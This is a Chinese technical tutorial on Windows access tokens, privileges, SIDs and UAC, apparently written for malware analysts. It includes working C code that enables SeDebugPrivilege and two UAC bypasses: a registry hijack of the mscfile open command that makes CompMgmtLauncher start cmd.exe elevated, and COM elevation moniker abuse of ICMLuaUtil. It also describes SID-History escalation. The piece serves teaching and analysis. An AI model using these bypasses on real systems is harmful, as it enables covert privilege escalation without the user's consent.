用户的权限可以通过本地安全策略(LSA,LocalSecurity Authority)进行查看,本地安全策略的位置——C:\Windows\System32\secpol.msc:
根据使用的场景,这些权限可以被分为两类:账户权限和特权。
账户权限
账户权限(accountright)是把“执行某一特定登录类型的能力”授权或拒绝给账户。
当一个用户以交互方式登录到一台机器上时,Winlogon调用LogonUser。LogonUser函数中有一个参数指明了要执行的登录的类型:交互式登陆、网络登陆、批方式登录、服务方式登录、终端服务器客户。
在本地安全策略中账户权限都包含包含“logon(登录)”字符。
上表列出了Windows定义的账号权限,通过LSAAddAccountRights、LSARemoveAccountRights、LsaEnumerateAccountRights函数可以增删查询权限(包括特权)。
特权
特权(privilege)是指一个账户执行某个与系统相关的操作的权限。
账户权限在登录请求响应时由LSA强制使用,而特权是由不同的组件定义的,由这些组件强制使用。
常见的一些特权有:
SeAssignPrimaryTokenPrivilege 替换进程级令牌
SeBackupPrivilege 备份文件和目录
SeDebugPrivilege 调试程序
SeIncreaseQuotaPrivilege 调整进程的内存配额
SeTcbPrivilege 作为操作系统的一部分来执行
在用户模式下,调用PrivilegeCheck或LsaEnumerateAccountRights查看一个令牌是否有特权;在内核模式下,使用SeSinglePrivilegeCheck或SePrivilegeCheck查看。
账户权限包括允许权限和拒绝权限两类,但特权只有一种,但是可以被启用或禁用。
无论是账户权限还是特权,都是用户拥有的。不过账户权限是用户在登录过程中发挥作用,在登录过程中,LSA根据LSA策略数据库中用户的账号权限决定用户是否能够登录;而特权是用户的进程在执行中发挥作用,进程需要特权才能执行某些操作。
访问令牌
进程是如何判断自己属于哪个账户,又是如何判断是否具有执行某操作的特权?这就要引入访问令牌(accesstoken)的概念了。
当用户登录后,系统此时会为用户生成一个访问令牌。之后,该用户执行的每个进程都会拥有一个该访问令牌的拷贝。访问令牌是用来描述进程或线程安全上下文的对象。安全上下文中包含的信息是描述了与该进程或线程相关联的账户、组和特权,也包含了会话ID、安全标识符(SID)、完整性级别和UAC虚拟化状态之类的信息。
令牌的大小是不固定的,不同的用户账户有不同的特权集合和它们关联的组用户集合。令牌中比较重要的信息如下图所示:
令牌中SID和特权都能决定程序是否能够执行某种操作。首先是SID,令牌中的SID说明了进程属于哪个用户,也说明了这个用户的账号是哪些组的成员。当程序执行用户请求的一些操作时,它可以禁止某些特定的组,属于该组的用户都无法执行该操作。另一方面,执行某些操作需要特定的权限,没有该特权就无法执行该操作。
访问令牌分为两种:主令牌和模拟令牌。
每一个进程都具有一个唯一的主令牌。在默认的情况下,当线程被开启的时候,进程的主令牌会自动附加到当前线程上,作为线程的安全上下文。而线程可以运行在另一个非主令牌的访问令牌下执行,而这个令牌被称为模拟令牌。而指定线程的模拟令牌的过程被称为模拟。
安全标识符SID
安全标识符(SecurityIdentifiers,SID),是标识用户、组和计算机帐户的唯一标识符。Windows系统(进程)是通过SID识别用户或组的,而不是通过用户名或组名。
每个账户在创建时,就会被分配唯一的SID,可以通过whoami/user 查看当前用户的SID:
SID是一个可变长度,包含三部分:SID结构版本号,48位标识符机构值,以及可变的32位子机构值或相对标识符(RID,relativeidentifier)。
上图所示的SID字符串,“S”是SID前缀,接下来每个部分用“-”来分隔。在这个SID中,版本号是1。标识符机构(IA)值是5,表示颁发机构是NT机关。再接下来四个值是子机构(SA)值,21表明SID由一个域控制器或者一台单机颁发,随后的一长串数字(2652472356-2509895215-1776492106)就是颁发SID的那个域或机器的SA。最后的1001是RID,每个用户都不一样,RID是SA所指派的一个惟一的、顺序的编号、代表一个安全主体(比如一个用户、计算机或组)。
指派给用户、计算机和组的RID从1000开始,500-999的RID被专门保留起来、表示在每个Windows计算机和域中通用的账户和组,它们称为“已知RID”有些已知RID会附加到一个域SID上,从而构成一个惟一的标识符。另一些则附加到BuiltinSID(S-1-5-32)上,指出它们是可能具有特权的Builtin账户。用户账户和组的RID是从1000开始的,每个新的用户或组,RID都会向上递增。例如上图中RID是1001,表示这是该域中发放的第二个用户或组。
UAC
在window中有些用户所在的组具有较大的权限,eg:内置的管理员(Build-InAdministrator)、域管理员(DomainAdministrator)等;有些用户拥有的特权的权力较大,eg:SeDebugPrivilege。
如果为这样的用户的令牌分配这些权力很大的账户权限或特权,就会产生巨大的安全隐患。所以,微软就想办法为这样的用户分配权力不是那么大的令牌——受限的访问令牌,于是便引入了用户账户控制(UAC,UserAccount Control)机制。
如果UAC禁用了,那么管理员运行时使用的令牌就会包含管理员组的成员和特权。
如果UAC启用了,当用户登录管理员账户时,系统就会创建两个令牌,已过滤的管理员令牌(受限的访问令牌,移除了绝大部分特权;)和一个普通的管理员令牌。在管理员用户会话中创建进程时,通常使用的都是已过滤的管理员令牌。如果该进程需要完整的管理员权限,那么就会弹出UAC提示框,让用户选择执行一次UAC权限提升。
使用UAC的另一个好处是可以实现文件和注册表的虚拟化,又被称为UAC虚拟化。标准用户应用程序写入受保护的系统资源位置(文件或注册表),这些应用程序将通过虚拟化被重新定向至用户各自的位置,因此UAC虚拟化也被称为重定向。举个例子,一个标准用户应用程序开启了UAC虚拟化,假设这个程序创建了C:\Windows\123.txt文件,在标准用户应用程序看来他创建的文件绝对路径就是C:\Windows\123.txt(尽管标准用户没有C:\Windows\文件夹下的写权限);如果这个时候,你禁用UAC虚拟化或者提升UAC权限,那么你就会发现,它创建的文件的真实位置是%LOCALAPPDATA%\VirtualStore\Windows\123.txt。64位程序、非交互程序(服务)、具有管理员权限的进程都不启用UAC虚拟化。
访问令牌决定了进程能执行的权限,要提升进程的权限,就是要提升访问令牌的权限。
AdjustTokenPrivileges
最常用的提权方式是使用AdjustTokenPrivileges提权。
AdjustTokenPrivileges能够启用或禁用指定访问令牌(有TOKEN_ADJUST_PRIVILEGES访问)的权限,AdjustTokenPrivileges函数原型:
最常用的提权方式是使用AdjustTokenPrivileges提权。
AdjustTokenPrivileges能够启用或禁用指定访问令牌(有TOKEN_ADJUST_PRIVILEGES访问)的权限,AdjustTokenPrivileges函数原型:
BOOL AdjustTokenPrivileges(
_In_ HANDLE TokenHandle, //令牌的句柄,包含要修改的权限
_In_ BOOL DisableAllPrivileges,//禁用所有权限标志
_In_opt_ PTOKEN_PRIVILEGES NewState,//指向TOKEN_PRIVILEGES结构,表示新的特权
_In_ DWORD BufferLength, //缓冲数据大小,以字节为单位的PreviousState的缓存区(sizeof)
_Out_opt_ PTOKEN_PRIVILEGES PreviousState,//接收被改变特权当前状态的Buffer
_Out_opt_ PDWORD ReturnLength //接收PreviousState缓存区要求的大小
);
//函数成功,返回非零值
新的特权被存放在TOKEN_PRIVILEGES结构中,分析TOKEN_PRIVILEGES结构:
typedef struct _TOKEN_PRIVILEGES {
DWORD PrivilegeCount;
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
typedef struct _LUID_AND_ATTRIBUTES {
LUID Luid;
DWORD Attributes;
} LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES;
可以看到,AdjustTokenPrivileges在启用特权时,不是直接使用特权名称,而是使用的是LUID,这个LUID相当于特权的身份标号。
而将特权名称转换为LUID使用的API是LookupPrivilegeValue,LookupPrivilegeValue能够获取指定特权名称的LUID值,其函数原型:
BOOL LookupPrivilegeValue(
_In_opt_ LPCTSTR lpSystemName, //表示要获取特权值的系统名称,本地系统直接用NULL
_In_ LPCTSTR lpName, //特权名称,winnt.h中定义
_Out_ PLUID lpLuid
);
使用AdjustTokenPrivileges提权的核心代码:
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//获取特权LUID
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))
{
//提权
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
}
CloseHandle(hToken);
}
RtlAdjustPrivilege
另一种提权方式是使用ntdll中的RtlAdjustPrivilege。RtlAdjustPrivilege是一个未公开的API,但是大佬们已经分析出它的函数原型了:
NTSTATUS RtlAdjustPrivilege
(
_In_ ULONG Privilege, // 所需要的权限名称,
_In_ BOOLEAN Enable, // 如果为True 就是打开相应权限,如果为False 则是关闭相应权限
_In_ BOOLEAN CurrentThread, // 如果为True 则仅提升当前线程权限,否则提升整个进程的权限
_Out_ PBOOLEAN Enabled // 输出原来相应权限的状态(打开 | 关闭)
)
该函数底层实现和AdjustTokenPrivileges的方式类似,可以参考本文(超链接:https://bbs.pediy.com/thread-76552.htm)。
因为该函数已经将获取进程令牌和获取LUID的过程封装好了,我们只需要直接调用该函数就可以实现提权了,核心代码:
HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
if (!hNtDll)
return;
fRtlAdjustPrivilege funcAdjustPrivilege =
(fRtlAdjustPrivilege)GetProcAddress(hNtDll, "RtlAdjustPrivilege");
if (funcAdjustPrivilege){
BOOLEAN oldStatus;
funcAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, false, &oldStatus);}
添加特权——LsaAddAccountRights
前面介绍的AdjustTokenPrivileges和RtlAdjustPrivilege都是通过启用/禁用的方式设置特权,他们设置的特权都是令牌中已有的特权,如果令牌中没有该特权,我们就需要先向令牌中添加特权。
向令牌中添加特权,需要使用LsaOpenPolicy和LsaAddAccountRights这个API。但这两个API操作需要Administrator权限,所以恶意代码几乎不可能先添加特权再提权,但这不妨碍我们学习添加特权的技术。
添加特权的方式很简单,首先调用LsaOpenPolicy建立与LSA的通信,得到Policy对象,然后调用LsaAddAccountRights添加特权。这两个API的函数原型:
NTSTATUS LsaOpenPolicy(
_In_ PLSA_UNICODE_STRING SystemName,
_In_ PLSA_OBJECT_ATTRIBUTES ObjectAttributes,//为0即可
_In_ ACCESS_MASK DesiredAccess,//这里需要GENERIC_READ|GENERIC_WRITE|GENERIC_ALL GENERIC_EXECUTE
_InOut_ PLSA_HANDLE PolicyHandle
);
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;
NTSTATUS LsaAddAccountRights(
_In_ LSA_HANDLE PolicyHandle,
_In_ PSID AccountSid,
_In_ PLSA_UNICODE_STRING UserRights,//特权名称
_In_ ULONG CountOfRights
);
UAC需要授权的动作包括:配置WindowsUpdate、增加或删除用户账户、改变用户的账户类型、改变UAC设置、安装ActiveX、安装或移除程序、安装设备驱动程序、设置家长控制、将文件移动或复制到ProgramFiles或Windows目录、查看其他用户文件夹等。
触发UAC时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数。该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。
恶意代码想要获得更高的权限,就绕不过UAC机制,但是恶意代码可以根据上述机制,想办法绕过UAC弹窗(bypassUAC),在用户不知情的情况下提升程序权限。根据上述机制,bypassUAC的主要方式就是利用白名单。
Bypass UAC的危害很大,不幸的是,微软认为bypassUAC中的很多方式并不是一个漏洞,而是“原本就是这样设计的”,所以微软并不会给bypassUAC一个CVE,然后,微软就在之后版本中偷偷修复这个bypassUAC。
BypassUAC的方式很多,新的绕过方式层出不穷,微软也一直在修复这些绕过点。本文介绍的几种bypassUAC的方式在某些系统中可能已经无法使用,但不妨碍我们从中学习绕过思路。关于最新的bypass的方式,可以持续关注这里(超链接:https://github.com/hfiref0x/UACME)。
白名单程序 Bypass UAC
有些系统程序是直接获取管理员权限,而不触发UAC弹框的,这类程序称为白名单程序.例如, slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等.这些 白名单程序可以通过DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作
利用CompMgmtLauncher.exe、该程序在启动时会查询注册表项”Software\classes\mscfile\shell\open\command”(msc后缀文件默认打开方式)、如果存在就会以管理员权限去执行该项默认程序。
实现代码:
#include
#include
BOOL SetReg(char *);
int main()
{
char *path = "c:\\windows\\system32\\cmd.exe";
SetReg(path);
}
BOOL SetReg(char *lpszExePath)
{
HKEY hKey = NULL;
RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\classes\\mscfile\\shell\\open\\command",0,NULL,0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (NULL == hKey)
{
return FALSE;
}
RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + lstrlen(lpszExePath)));
RegCloseKey(hKey);
return TRUE;
}
运行后再运行计算机管理就是管理员的CMD。推荐在虚拟机运行。
利用com elevationmoniker
利用comelevation moniker技术,可以提升COM接口的权限,而不触发UAC弹窗。
能够利用comelevation moniker技术的COM接口必须具有如下特点:
1.该COM组件注册位置在HKEY_LOCAL_MACHINE下,也就是说,需要以管理员权限注册这个COM组件才可以
2.注册表HKEY_LOCAL_MACHINE\Software\Classes\CLSID下需要指定三项键值:
{CLSID}/LocalizedString(REG_EXPAND_SZ):displayName
{CLSID}/Elevation/IconReference(REG_EXPAND_SZ):applicationIcon
{CLSID}/Elevation,Enabled(REG_DWORD):1
在Windows7(7600)中ICMLuaUtil接口就满足了这一要求,而且ICMLuaUtil接口提供了ShellExec函数来创建进程。攻击者可以利用comelevation moniker技术提升ICMLuaUtil接口的权限,提权后调用ShellExec创建指定的进程,绕过UAC。
利用comelevation moniker提升COM接口权限的核心代码:
HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid){
BIND_OPTS3 bo;
WCHAR wszCLSID[MAX_PATH] = { 0 };
WCHAR wszMonikerName[MAX_PATH] = { 0 };
HRESULT hr = 0;
// 初始化COM环境
::CoInitialize(NULL);
// 构造字符串
::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
//也可以使用Elevation:Highest!new:{guid} 语句
if (FAILED(hr))
{return hr;}
// 设置BIND_OPTS3
::RtlZeroMemory(&bo, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hWnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// 创建名称对象并获取COM对象
hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
return hr;}
提升COM权限之后,就可以执行ShellExec创建高权限进程
// 提权
hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
// 启动程序
hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
每个账户都有自己的SID,除此之外,部分账户还存在一个SID-History属性。SID-History是为了支持域迁移功能的,确保用户在从一个域移动(迁移)到另一个域时能保留原有的访问权限。将用户从DomainA移动到DomainB时,将在DomainB中创建新的用户帐户,这会产生新的SID,为了保留原有的访问权限(对DomainA的访问权限),DomainA用户的SID也不能丢弃,而是将其添加到DomainB的用户帐户SID-History属性中。当迁移后的账户登录时,与该账户相关联的所有SID(包括SID-History中的SID)都将被添加到访问令牌中。
SID-History在同一个域中的作用与SID在跨越多个域的同一个林中的是相同的,这意味着DomainA中的常规用户帐户窃取DomainA中特权帐户或组的SID,然后加入自己的SID-History,这样就可以授予常规用户帐户域管理员权限,而不需要成为域管理员组的成员。
Mimikatz已经完全支持该技术了,关于该技术的具体实践,可以参考本文(超链接:https://www.4hou.com/penetration/5476.html)。
前面介绍的都是对权限的提升,让恶意代码执行更高权限的行为,除此之外,许多恶意代码还会通过权限设置,增加分析人员分析难度。
如图所示,挖矿木马(md5:2b01c2b77a0f14f2b87eba4da423262bfe026828)使用cacls工具,将C:\ProgramData\Smart文件夹设置为system权限可访问,而administrators权限拒绝访问。
在分析工程中,为了打开C:\ProgramData\Smart文件夹,对其进行分析,我们需要先修改C:\ProgramData\Smart文件夹的权限,可以通过下列命令将该文件夹设置为所有用户可以访问:
cacls C:\ProgramData\Smart/e /t /g everyone:f/d system
cacls.exe是微软提供的操作文件ACL的工具,其用法如图所示:
在Windows7及之后版本的系统中,推荐使用icacls。